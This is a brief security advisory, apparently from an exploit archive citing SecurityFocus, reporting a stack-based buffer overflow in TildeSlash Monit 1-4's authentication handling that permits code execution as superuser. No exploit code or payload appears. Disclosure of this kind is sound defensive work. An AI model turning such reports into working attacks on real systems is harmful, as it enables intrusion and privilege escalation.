TildeSlash Monit 1-4 Authentication Handling Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/10581/info

It is reported that TildeSlash Monit is vulnerable to a buffer overflow vulnerability during authentication handling. This issue arises due to a failure of the affected application to properly handle user-supplied strings when copying them into finite stack-based buffers.

Successful exploitation of this issue allows an attacker to execute arbitrary code as the superuser; facilitating unauthorized access and privilege escalation.
